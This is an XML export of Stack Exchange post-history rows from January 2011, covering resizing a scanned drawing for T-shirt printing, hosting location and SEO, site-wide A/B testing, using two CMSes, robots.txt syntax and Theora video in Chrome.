  <row Id="14756" PostHistoryTypeId="5" PostId="7288" RevisionGUID="4e88175f-5928-4006-b76d-d2cc3de31e8e" CreationDate="2011-01-03T23:08:38.053" UserId="3860" Comment="picture sample" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;I use Gimp to edit the file.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;======&#xD;&#xA;SO what is happening is that a friend of my is an 'artist'. She draws a picture and scans it as jpg and send it to me. Then I work on it little bit ( get rid of some stuff that happened to be in the pic because of the scanning and making transparent what needs to be transparent) and then I send the final file to the printer company to be printed on a T-shirt. &#xD;&#xA;&#xD;&#xA;Last time I did mess it up (no idea what I did wrong) or the printing company so the objects on the T-shirt were bigger than the original one. Of course my friend didn't like that. So I finding our what I have to careful about so it will not happen again. The printing company accepts files in size less than 4MB but her pictures are always bigger than that. &#xD;&#xA;&#xD;&#xA;UPDATE II&#xD;&#xA;=========&#xD;&#xA;Thank you for the advices. The last jpg file is 8MB big. The picture looks like that. Almost full A4 size. I need to (the best in gimp or some other free tool)&#xD;&#xA;&#xD;&#xA;- get rid of the black line at the top (I know how to do that)&#xD;&#xA;- rotate the image&#xD;&#xA;- make the white surroundings transparent (know how to do that)&#xD;&#xA;- make the file size less than 4MB. Preserving the quality as much as possible&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;![looks][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Iwcuq.png" />
  <row Id="14757" PostHistoryTypeId="5" PostId="7288" RevisionGUID="26e0c20d-81e8-46f9-a8f8-a611dedbdc37" CreationDate="2011-01-03T23:23:45.777" UserId="3860" Comment="more info" Text="not sure what stackexchange site is the best for this question.&#xD;&#xA;&#xD;&#xA;I have a scanned jpg file with below properties and size 8.5MB&#xD;&#xA;&#xD;&#xA;    pixel dimension: 2468 × 3484 pixels&#xD;&#xA;    print size: 208.96 × 294.98 millimeters&#xD;&#xA;    resolution: 300 × 300 ppi&#xD;&#xA;&#xD;&#xA;I need to save the file as png (to have the pic transparent) while the size cannot be bigger than 4MB. The most important is that the size of picture must remain the same. I mean that the object size in the picture must stay the same.&#xD;&#xA;&#xD;&#xA;Could anybody tell me what is used to define the size of the objects in the picture? &#xD;&#xA;&#xD;&#xA;I use Gimp to edit the file.&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;======&#xD;&#xA;SO what is happening is that a friend of my is an 'artist'. She draws a picture and scans it as jpg and send it to me. Then I work on it little bit ( get rid of some stuff that happened to be in the pic because of the scanning and making transparent what needs to be transparent) and then I send the final file to the printer company to be printed on a T-shirt. &#xD;&#xA;&#xD;&#xA;Last time I did mess it up (no idea what I did wrong) or the printing company so the objects on the T-shirt were bigger than the original one. Of course my friend didn't like that. So I finding our what I have to careful about so it will not happen again. The printing company accepts files in size less than 4MB but her pictures are always bigger than that. &#xD;&#xA;&#xD;&#xA;UPDATE II&#xD;&#xA;=========&#xD;&#xA;Thank you for the advices. The last jpg file is 8MB big. The picture looks like that. Almost full A4 size. I need to (the best in gimp or some other free tool)&#xD;&#xA;&#xD;&#xA; 1. get rid of the black line at the top (I know how to do that)&#xD;&#xA; 2. rotate the image&#xD;&#xA; 3. make the white surroundings transparent (know how to do that)&#xD;&#xA; 4. make the file size less than 4MB. Preserving the quality as much as possible&#xD;&#xA;&#xD;&#xA;when I save png with points **1. &amp; 3.** done as png in gimp the file size is **14.8MB**&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;![looks][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Iwcuq.png" />
  <row Id="14758" PostHistoryTypeId="5" PostId="7292" RevisionGUID="ee1fcf20-02e5-4fb3-9aed-6128c6727667" CreationDate="2011-01-04T00:28:15.833" UserId="3461" Comment="added 2864 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter(its batch mode would become indredibly handy), download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist(does not know how to create a 300dpi document from a file with just pixels info), then you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like. (if you need to send it by mail, etc)&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)&#xD;&#xA;&#xD;&#xA;Replying to your updated answer :&#xD;&#xA;&#xD;&#xA;&gt;    2. rotate the image&#xD;&#xA;&#xD;&#xA;usually a flip (vertical or horizontal) or 90º rotation command, wont add detail loss. Rotating manually with other tools, can add loss, like most operations.&#xD;&#xA;&#xD;&#xA;&gt;    3. make the white surroundings transparent (know how to do that)&#xD;&#xA;&gt;    4. make the file size less than 4MB. Preserving the quality as much as&#xD;&#xA;&gt; possible&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;I am a bit surprised about the need of working like this for t-shirts printing. &#xD;&#xA;Firstly, the usual both ways of delivering the design to them tends to be a) a vectorial file, be it eps,freehand, (even svg in some cases) etc. In one color or 2, 4, etc...  b) A raster rgb file, or cmyk, in both cases, usually a JPG. Not neededly using 300dpi, indeed, in cloth, it's often 200dpi, or 150dpi, depending on the material. In a traditional print company, you would never see a flower that you physically want to be, ie, 20cm, to be printed smaller, provided that you knew the resolution (dpi) at which they print, and even choosing another output if possible. I suspect there is a format, manner or way to tell your t-shirt company to receive the files at  lower dpi, but same size in inches or cms. Probably in another &quot;mode&quot; or the like. If you provide us (if are allowed) the name of the company, I could tell you some direction on how to do this, as they'll refer that in their doc. &#xD;&#xA;&#xD;&#xA;Other thing that sounds strange to me is the whole transparency thing, which forces you to use PNG. If you are going to print on white cloth, then just use pure white, most print machines will just disregard the white as background, no ink. So JPG would be possible, and certainly way smaller size in MB. &#xD;&#xA;&#xD;&#xA;There's another way, that is providing them the design in eps vectorial format. (not &quot;raster&quot; eps). That'd be really small in Ks. Obviously your friend just draw traditionally, and you would be forced to trace manually or automatically her design. Which is technically quite complex to do it well not being a designer. (and could happen your friend wouldn't like the output)&#xD;&#xA;&#xD;&#xA;Talk to the guys, mail or their forums, and first of all , check their doc, it absolutely have to be possible to just use JPG (often in CMYK mode) using a solid color background(white, or a cyan if cloth is cyan, etc), and surely at smaller dpi (that is: if you send a 200 dpi file, and their printing &quot;mode&quot; or flavor is 200dpi, the object shows in the t-shirt same size than if you send them same design at 300dpi, and their machine prints at 300dpi, provided you gave them all times files haivng _same_ cm (or inches) dimensions, althought at diferent resolutions(dpi). I'd be surprised to know they print only (and in cloth) at 300dpi...)&#xD;&#xA;&#xD;&#xA;Ok, seing the time I dedicated to this question, now I am curious. If you can, just post the url of the company, might be much shorter path ;)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14759" PostHistoryTypeId="2" PostId="7310" RevisionGUID="35f428d9-2b4c-484c-b024-dd25d820daed" CreationDate="2011-01-04T00:47:15.160" UserDisplayName="user1364" Text="If you specify in webmaster tools what location you prefer and have an address on the footer of your website, Google will understand. &#xD;&#xA;If you are in a third world country, DO NOT get hosting there. Get hosting only from a 1st world country. &#xD;&#xA;&#xD;&#xA;For SEO purposes every website should have an address on the footer. Google and others use this as important clues in rankings. &#xD;&#xA;&#xD;&#xA;I have USA sites hosted in Germany. Australian sites hosted in USA. If its done properly there is no problem. " />
  <row Id="14760" PostHistoryTypeId="2" PostId="7311" RevisionGUID="03c7f372-cbd1-4318-8aaf-1d6ccc4cd6bb" CreationDate="2011-01-04T02:58:32.480" UserDisplayName="Che" Text="I'm familar with A/B testing variations of a page via Google Website Optimiser but I'd like to A/B test completely different designs on a site wide basis or a collection of pages.&#xD;&#xA;&#xD;&#xA;So each visitor would see either design A side wide or design B site wide.&#xD;&#xA;&#xD;&#xA;I haven't yet found a service that does this (or I haven't realised how to do it).&#xD;&#xA;&#xD;&#xA;Can anyone help?" />
  <row Id="14761" PostHistoryTypeId="1" PostId="7311" RevisionGUID="03c7f372-cbd1-4318-8aaf-1d6ccc4cd6bb" CreationDate="2011-01-04T02:58:32.480" UserDisplayName="Che" Text="How to A/B test two different site designs" />
  <row Id="14762" PostHistoryTypeId="3" PostId="7311" RevisionGUID="03c7f372-cbd1-4318-8aaf-1d6ccc4cd6bb" CreationDate="2011-01-04T02:58:32.480" UserDisplayName="Che" Text="&lt;a-b-testing&gt;" />
  <row Id="14763" PostHistoryTypeId="2" PostId="7312" RevisionGUID="97dd87ce-ae7e-489d-8dc2-9189b5d6b6f2" CreationDate="2011-01-04T03:11:21.133" UserId="4295" Text="There are a number of services available out there for you to do this - most notably a cool free one is:&#xD;&#xA;&#xD;&#xA;Google Website Optimizer&#xD;&#xA;&#xD;&#xA;http://www.google.com/websiteoptimizer" />
  <row Id="14764" PostHistoryTypeId="2" PostId="7313" RevisionGUID="557d8468-bb27-40b2-9ac5-f048b602e54b" CreationDate="2011-01-04T04:10:46.727" UserDisplayName="JP19" Text="How about creating two different subdomains?&#xD;&#xA;&#xD;&#xA;www.yourwebsite.com&#xD;&#xA;&#xD;&#xA;www2.yourwebsite.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Redirect 50% visitors randomly from www.yourwebsite.com to www2.yourwebsite.com&#xD;&#xA;(A better strategy is to have a pop-up that says - would you like to try our new design?&#xD;&#xA;See http://www.namecheap.com/   who are currently running a beta and do such a thing.)&#xD;&#xA;Of course if you don't want the user to know or chose, just automatically redirect them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;Also, since you want proper stats for A vs B via some third party service like google analytics, its better to have the  main page www.yourwebsite.com only as an entry door till the time you are testing, and have&#xD;&#xA;&#xD;&#xA;www1.yoursite.com&#xD;&#xA;&#xD;&#xA;www2.yoursite.com&#xD;&#xA;&#xD;&#xA;as two different domains. Why? Because that way, the redirection page counts will not interfere with the real stats of A vs B.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can easily configure your webserver to have different document roots for different subdomains, so managing files is pretty clean." />
  <row Id="14765" PostHistoryTypeId="2" PostId="7314" RevisionGUID="41e1b564-7734-4657-8f68-3c2ccf77dd1e" CreationDate="2011-01-04T04:11:03.097" UserId="1064" Text="Google Website Optimizer sets the `___utmx` cookie - your site can respond to this cookie (either via server-side script or via GWO's default Javascript)&#xD;&#xA;&#xD;&#xA;Using Javascript to display text content is suboptimal given that search engine spiders will miss the content: I would recommend serving your default &quot;A&quot; content for users with `___utmx` variant A *and* for users + spiders with cookies disabled and your &quot;B&quot; content for users with variant B specified in the `___utmx` cookie.&#xD;&#xA;&#xD;&#xA;So long as you are not modifying the value of the `___utmx` cookie after it is initially set, you should be able to use GWO to continue multivariate testing across multiple pages on your site." />
  <row Id="14766" PostHistoryTypeId="2" PostId="7315" RevisionGUID="9e8af5de-4035-435e-9062-6f1687041a28" CreationDate="2011-01-04T04:43:27.687" UserId="4299" Text="Is it possible to maintain a web site or blog site using two CMS?" />
  <row Id="14767" PostHistoryTypeId="1" PostId="7315" RevisionGUID="9e8af5de-4035-435e-9062-6f1687041a28" CreationDate="2011-01-04T04:43:27.687" UserId="4299" Text="Two CMS over one web site. Is that possible?" />
  <row Id="14768" PostHistoryTypeId="3" PostId="7315" RevisionGUID="9e8af5de-4035-435e-9062-6f1687041a28" CreationDate="2011-01-04T04:43:27.687" UserId="4299" Text="&lt;cms&gt;" />
  <row Id="14769" PostHistoryTypeId="2" PostId="7316" RevisionGUID="7332c2c0-9455-4a6c-bdef-250a6d93eebb" CreationDate="2011-01-04T04:47:51.177" UserId="4297" Text="Yes, it is possible to maintain a web site or blog site using two CMSes." />
  <row Id="14770" PostHistoryTypeId="2" PostId="7317" RevisionGUID="aeb91f65-6ad6-4912-96d0-392f16647309" CreationDate="2011-01-04T06:45:19.983" UserDisplayName="JP19" Text="If you have a website targeted at users in country X, get a server in country X. &#xD;&#xA;2 reasons:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Page load time: Why have an average ping time of 200 ms between users and your server when you can have a 100 ms ping time?&#xD;&#xA;&#xD;&#xA;2) SEO:  &#xD;&#xA;&#xD;&#xA;Assume two websites 'A' and 'B' with exact keywords, exact page rank (overall page rank as well exact internal points google has computed), etc. 'A' is hosted in Australia and 'B' in Bulgaria. If a person from Australia searches, site 'A' will appear before 'B', if a person in Bulgaria searches, 'B' will appear before 'A' in search results.&#xD;&#xA;&#xD;&#xA;(Note the clause: &quot;all other things being equal&quot; - which includes lots of things).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;Other points to consider:&#xD;&#xA;&#xD;&#xA;1) Dont pay too much. There are good hosts for cheap these days.&#xD;&#xA;&#xD;&#xA;2) Are you paying for an year in advance. Avoid if you are not sure about the quality of provider.&#xD;&#xA;&#xD;&#xA;3) Customer service&#xD;&#xA;&#xD;&#xA;4) Billing policies. Does the provider store your credit card info? Do they automatically overcharge for overusage?&#xD;&#xA;&#xD;&#xA;5) Track record/history/reviews.&#xD;&#xA;&#xD;&#xA;6) Do they show too many ads even when you try to manage your site (I don't like godaddy for this - but otherwise its good).&#xD;&#xA;&#xD;&#xA;7) Experiment/try out and find what suits you best.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14771" PostHistoryTypeId="5" PostId="7292" RevisionGUID="5ef0d02f-c3c9-4222-9c5a-97b9898065ad" CreationDate="2011-01-04T08:45:32.203" UserId="3461" Comment="added 2225 characters in body; added 4 characters in body; added 31 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter(its batch mode would become indredibly handy), download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist(does not know how to create a 300dpi document from a file with just pixels info), then you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like. (if you need to send it by mail, etc)&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)&#xD;&#xA;&#xD;&#xA;Replying to your updated answer :&#xD;&#xA;&#xD;&#xA;&gt;    2. rotate the image&#xD;&#xA;&#xD;&#xA;usually a flip (vertical or horizontal) or 90º rotation command, wont add detail loss. Rotating manually with other tools, can add loss, like most operations.&#xD;&#xA;&#xD;&#xA;&gt;    3. make the white surroundings transparent (know how to do that)&#xD;&#xA;&gt;    4. make the file size less than 4MB. Preserving the quality as much as&#xD;&#xA;&gt; possible&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;I am a bit surprised about the need of working like this for t-shirts printing. &#xD;&#xA;Firstly, the usual both ways of delivering the design to them tends to be a) a vectorial file, be it eps,freehand, (even svg in some cases) etc. In one color or 2, 4, etc...  b) A raster rgb file, or cmyk, in both cases, usually a JPG. Not neededly using 300dpi, indeed, in cloth, it's often 200dpi, or 150dpi, depending on the material. In a traditional print company, you would never see a flower that you physically want to be, ie, 20cm, to be printed smaller, provided that you knew the resolution (dpi) at which they print, and even choosing another output if possible. I suspect there is a format, manner or way to tell your t-shirt company to receive the files at  lower dpi, but same size in inches or cms. Probably in another &quot;mode&quot; or the like. If you provide us (if are allowed) the name of the company, I could tell you some direction on how to do this, as they'll refer that in their doc. &#xD;&#xA;&#xD;&#xA;Other thing that sounds strange to me is the whole transparency thing, which forces you to use PNG. If you are going to print on white cloth, then just use pure white, most print machines will just disregard the white as background, no ink. So JPG would be possible, and certainly way smaller size in MB. &#xD;&#xA;&#xD;&#xA;There's another way, that is providing them the design in eps vectorial format. (not &quot;raster&quot; eps). That'd be really small in Ks. Obviously your friend just draw traditionally, and you would be forced to trace manually or automatically her design. Which is technically quite complex to do it well not being a designer. (and could happen your friend wouldn't like the output)&#xD;&#xA;&#xD;&#xA;Talk to the guys, mail or their forums, and first of all , check their doc, it absolutely have to be possible to just use JPG (often in CMYK mode) using a solid color background(white, or a cyan if cloth is cyan, etc), and surely at smaller dpi (that is: if you send a 200 dpi file, and their printing &quot;mode&quot; or flavor is 200dpi, the object shows in the t-shirt same size than if you send them same design at 300dpi, and their machine prints at 300dpi, provided you gave them all times files haivng _same_ cm (or inches) dimensions, althought at diferent resolutions(dpi). I'd be surprised to know they print only (and in cloth) at 300dpi...)&#xD;&#xA;&#xD;&#xA;Ok, seing the time I dedicated to this question, now I am curious. If you can, just post the url of the company, might be much shorter path ;)&#xD;&#xA;&#xD;&#xA;**Update: Info to work with that site.**&#xD;&#xA;&#xD;&#xA;Firstly, seems, as I was suspecting, that you don't need all this stuff of the transparency and png. And so, can use just jpg. IMHO you just need to be sure you delete and make white all the dirt,etc, from the scanning. Often, a fast way to do it, is in Photoshop , &quot;Color Selective&quot;, then adjust &quot;whites&quot;, and remove all &quot;black&quot; in that &quot;whites&quot; slider. As you are using gimp, a trick can be lowering to the left the white tiny slider in the &quot;Levels&quot; (colors top menu) dialog, and just touching that. Not much, though. Will loose some detail, but not much. Tho is preferrable to delete the white dirt with other methods, that protect more the drawing.&#xD;&#xA;&#xD;&#xA;So, they actually have a procedure, you just ensure you leave that white background quite clean,(fully white) and just send them it as jpg, (don't work on transparency neither do a png), and inform as they say, that you want it &quot;transparent&quot; :&#xD;&#xA;&#xD;&#xA;http://www.pistolclothing.com.au/faq26&#xD;&#xA;&#xD;&#xA;Ok, imho, all you have to do is save as JPG, at 300dpi which is the res you had been sending to them. Compressing as jpg, should be able to give you the good size/quality ratio. Reading more .. :&#xD;&#xA;&#xD;&#xA;&quot;We print all artworks in CMYK full colour&quot;&#xD;&#xA;&#xD;&#xA;But you work with Gimp, and at least in the Windows version I think there's not yet CMYK mode. But surely the guys do a good job on printing it somehow. As is what average user will send them, close to no user knows what cmyk is.&#xD;&#xA;&#xD;&#xA;*&quot;We print all images at 300 DPI* &quot; there you have it. Use that.&#xD;&#xA;&#xD;&#xA;&quot;*We accept: JPG, GIF, PNG, PDF, EPS, TIFF, Adobe Illustrator, Adobe Photoshop formats*&quot;&#xD;&#xA;&#xD;&#xA;&quot;*To get a good full sized quality print, its best to use your image artwork at an A4 size canvas*&quot;&#xD;&#xA;&#xD;&#xA;&quot;*Please also check that your image is in an RGB mode. Sometime's an artwork that's in CMYK may not display correctly in your browser. Check the file size is below 20 MB*&quot;&#xD;&#xA;&#xD;&#xA;See? They actually have it ironed to deal with rgb images. So, no much worries... &#xD;&#xA;BTW, being your image 14 megs, it should have worked... But from now, works as told you, jpg, solid white background, no work on transparency (indeed, will be a jpg)&#xD;&#xA;&#xD;&#xA;That's all. Give it a try doing as I explained you, might make it all much easier and faster ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14772" PostHistoryTypeId="5" PostId="7292" RevisionGUID="5c93eaaf-d2b4-4983-a5e9-47cafa478bd7" CreationDate="2011-01-04T08:52:54.037" UserId="3461" Comment="added 140 characters in body" Text=" - Do not re-save as JPG (or do once as much, at hi quality). Every time you do it, you add new quality loss. Work in png format, and only if you need it, save last version as JPG.&#xD;&#xA;&#xD;&#xA; - tweakPNG tool allows you to remove extra data, but beware not removing essential data(this is not a compressing tool). For compressing it well, I agree on using PNGcrush. I my tests, got the best compression.(there are others: PNGauntlet, Optipng, etc)&#xD;&#xA;&#xD;&#xA; - be sure on why you need to keep 300dpi, that is only needed if you are going to print. Anyway, if you need a lot of detail, reducing it is like reducing pixel detail, and that can be not convenient.(in this case, quite detail needed, but not for print, just reducing to 150 or 200dpi every file might work to keep all objects at same size between files)&#xD;&#xA;&#xD;&#xA; - You mention that the &quot;object size in the picture must remain the same&quot;. If  you were to publish all this only in screen based media, not print, and you reduced all images _only_ in dpi, that is, going from 300dpi, to 72dpi, all objects will be in same proportion(and screens are 72 or 96dpi. Using 300dpi is ok, though). To be able to do this, you can use Photoshop (best) , or even the free irfanview converter(its batch mode would become indredibly handy), download from irfanview.com.&#xD;&#xA;&#xD;&#xA; - &lt;s&gt;PNG does not preserve DPI info, tho wont loose pixel data and you will be able to restore it with Photoshop&lt;/s&gt;. If you need it maintaining the DPIs because target user is not a designer or graphic artist(does not know how to create a 300dpi document from a file with just pixels info), then you'd better use TIFF format, good for print, supporting transparency and DPIs. But you will need to compress it quite with 7zip, winrar, Winzip or the like. (if you need to send it by mail, etc)&#xD;&#xA;&#xD;&#xA; - To check you are not loosing info, just be sure pixel dimensions keep the same.(and no jpg saving is done)&#xD;&#xA;&#xD;&#xA;Replying to your updated answer :&#xD;&#xA;&#xD;&#xA;&gt;    2. rotate the image&#xD;&#xA;&#xD;&#xA;usually a flip (vertical or horizontal) or 90º rotation command, wont add detail loss. Rotating manually with other tools, can add loss, like most operations.&#xD;&#xA;&#xD;&#xA;&gt;    3. make the white surroundings transparent (know how to do that)&#xD;&#xA;&gt;    4. make the file size less than 4MB. Preserving the quality as much as&#xD;&#xA;&gt; possible&#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;I am a bit surprised about the need of working like this for t-shirts printing. &#xD;&#xA;Firstly, the usual both ways of delivering the design to them tends to be a) a vectorial file, be it eps,freehand, (even svg in some cases) etc. In one color or 2, 4, etc...  b) A raster rgb file, or cmyk, in both cases, usually a JPG. Not neededly using 300dpi, indeed, in cloth, it's often 200dpi, or 150dpi, depending on the material. In a traditional print company, you would never see a flower that you physically want to be, ie, 20cm, to be printed smaller, provided that you knew the resolution (dpi) at which they print, and even choosing another output if possible. I suspect there is a format, manner or way to tell your t-shirt company to receive the files at  lower dpi, but same size in inches or cms. Probably in another &quot;mode&quot; or the like. If you provide us (if are allowed) the name of the company, I could tell you some direction on how to do this, as they'll refer that in their doc. &#xD;&#xA;&#xD;&#xA;Other thing that sounds strange to me is the whole transparency thing, which forces you to use PNG. If you are going to print on white cloth, then just use pure white, most print machines will just disregard the white as background, no ink. So JPG would be possible, and certainly way smaller size in MB. &#xD;&#xA;&#xD;&#xA;There's another way, that is providing them the design in eps vectorial format. (not &quot;raster&quot; eps). That'd be really small in Ks. Obviously your friend just draw traditionally, and you would be forced to trace manually or automatically her design. Which is technically quite complex to do it well not being a designer. (and could happen your friend wouldn't like the output)&#xD;&#xA;&#xD;&#xA;Talk to the guys, mail or their forums, and first of all , check their doc, it absolutely have to be possible to just use JPG (often in CMYK mode) using a solid color background(white, or a cyan if cloth is cyan, etc), and surely at smaller dpi (that is: if you send a 200 dpi file, and their printing &quot;mode&quot; or flavor is 200dpi, the object shows in the t-shirt same size than if you send them same design at 300dpi, and their machine prints at 300dpi, provided you gave them all times files haivng _same_ cm (or inches) dimensions, althought at diferent resolutions(dpi). I'd be surprised to know they print only (and in cloth) at 300dpi...)&#xD;&#xA;&#xD;&#xA;Ok, seing the time I dedicated to this question, now I am curious. If you can, just post the url of the company, might be much shorter path ;)&#xD;&#xA;&#xD;&#xA;**Update: Info to work with that site.**&#xD;&#xA;&#xD;&#xA;Firstly, seems, as I was suspecting, that you don't need all this stuff of the transparency and png. And so, can use just jpg. IMHO you just need to be sure you delete and make white all the dirt,etc, from the scanning. Often, a fast way to do it, is in Photoshop , &quot;Color Selective&quot;, then adjust &quot;whites&quot;, and remove all &quot;black&quot; in that &quot;whites&quot; slider. As you are using gimp, a trick can be lowering to the left the white tiny slider in the &quot;Levels&quot; (colors top menu) dialog, and just touching that. Not much, though. Will loose some detail, but not much. Tho is preferrable to delete the white dirt with other methods, that protect more the drawing.&#xD;&#xA;&#xD;&#xA;So, they actually have a procedure, you **just make sure you leave that white background quite clean,(fully white) and just send them it as jpg, (don't work on transparency neither do a png), at 300dpi, same size in cm or inches (same pixels numbers) you were working initially, and inform as they say, that you want it &quot;transparent&quot; in the way they mention in the bellow faq url :**&#xD;&#xA;&#xD;&#xA;http://www.pistolclothing.com.au/faq26&#xD;&#xA;&#xD;&#xA;Ok, imho, all you have to do is save as JPG, at 300dpi which is the res you had been sending to them. Compressing as jpg, should be able to give you the good size/quality ratio. Reading more .. :&#xD;&#xA;&#xD;&#xA;&quot;We print all artworks in CMYK full colour&quot;&#xD;&#xA;&#xD;&#xA;But you work with Gimp, and at least in the Windows version I think there's not yet CMYK mode. But surely the guys do a good job on printing it somehow. As is what average user will send them, close to no user knows what cmyk is.&#xD;&#xA;&#xD;&#xA;*&quot;We print all images at 300 DPI* &quot; there you have it. Use that.&#xD;&#xA;&#xD;&#xA;&quot;*We accept: JPG, GIF, PNG, PDF, EPS, TIFF, Adobe Illustrator, Adobe Photoshop formats*&quot;&#xD;&#xA;&#xD;&#xA;&quot;*To get a good full sized quality print, its best to use your image artwork at an A4 size canvas*&quot;&#xD;&#xA;&#xD;&#xA;&quot;*Please also check that your image is in an RGB mode. Sometime's an artwork that's in CMYK may not display correctly in your browser. Check the file size is below 20 MB*&quot;&#xD;&#xA;&#xD;&#xA;See? They actually have it ironed to deal with rgb images. So, no much worries... &#xD;&#xA;BTW, being your image 14 megs, it should have worked... But from now, works as told you, jpg, solid white background, no work on transparency (indeed, will be a jpg)&#xD;&#xA;&#xD;&#xA;That's all. Give it a try doing as I explained you, might make it all much easier and faster ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14773" PostHistoryTypeId="2" PostId="7318" RevisionGUID="63a4d2e9-4a70-40c2-80e1-f51864b7192e" CreationDate="2011-01-04T08:54:18.813" UserId="1955" Text="If I place a regular expression in robots.txt will it be readable for the web crawlers?" />
  <row Id="14774" PostHistoryTypeId="1" PostId="7318" RevisionGUID="63a4d2e9-4a70-40c2-80e1-f51864b7192e" CreationDate="2011-01-04T08:54:18.813" UserId="1955" Text="Robots.txt and Regular Expressions" />
  <row Id="14775" PostHistoryTypeId="3" PostId="7318" RevisionGUID="63a4d2e9-4a70-40c2-80e1-f51864b7192e" CreationDate="2011-01-04T08:54:18.813" UserId="1955" Text="&lt;robots.txt&gt;&lt;web-crawlers&gt;" />
  <row Id="14776" PostHistoryTypeId="5" PostId="4537" RevisionGUID="4e52d611-fd8b-46fb-8624-5a97722d3eff" CreationDate="2011-01-04T09:38:26.923" UserId="2780" Comment="added 11 characters in body" Text="I have problem with Google Chrome and Theora video. I have video that plays nice in Opera and Firefox. However, it doesn't play in Google browser and I don't know why. I've made this video in ogg2theora.&#xD;&#xA;&#xD;&#xA;Test sample: http://wwsi.edu.pl/video/enigma.html&#xD;&#xA;&#xD;&#xA;**Does anyone know how should I encode to Theora that Google Chrome works?**&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;&#xD;&#xA;- I am not interested in encoding in WebM or h.264, this time.&#xD;&#xA;- I am not asking what is the best way to publish video on a website.&#xD;&#xA;- I only do experiments with Ogg Theora.&#xD;&#xA;- The test site has fallback for h.264 in video tag and WMV in WMP plugin." />
  <row Id="14777" PostHistoryTypeId="2" PostId="7319" RevisionGUID="a86e1852-cf05-41ca-b1d4-7068f968fc3d" CreationDate="2011-01-04T09:44:02.087" UserId="4311" Text="No, the robots.txt syntax only supports wildcards, and not regular expressions. See here for a good discussion of the syntax: http://www.robotstxt.org/robotstxt.html." />
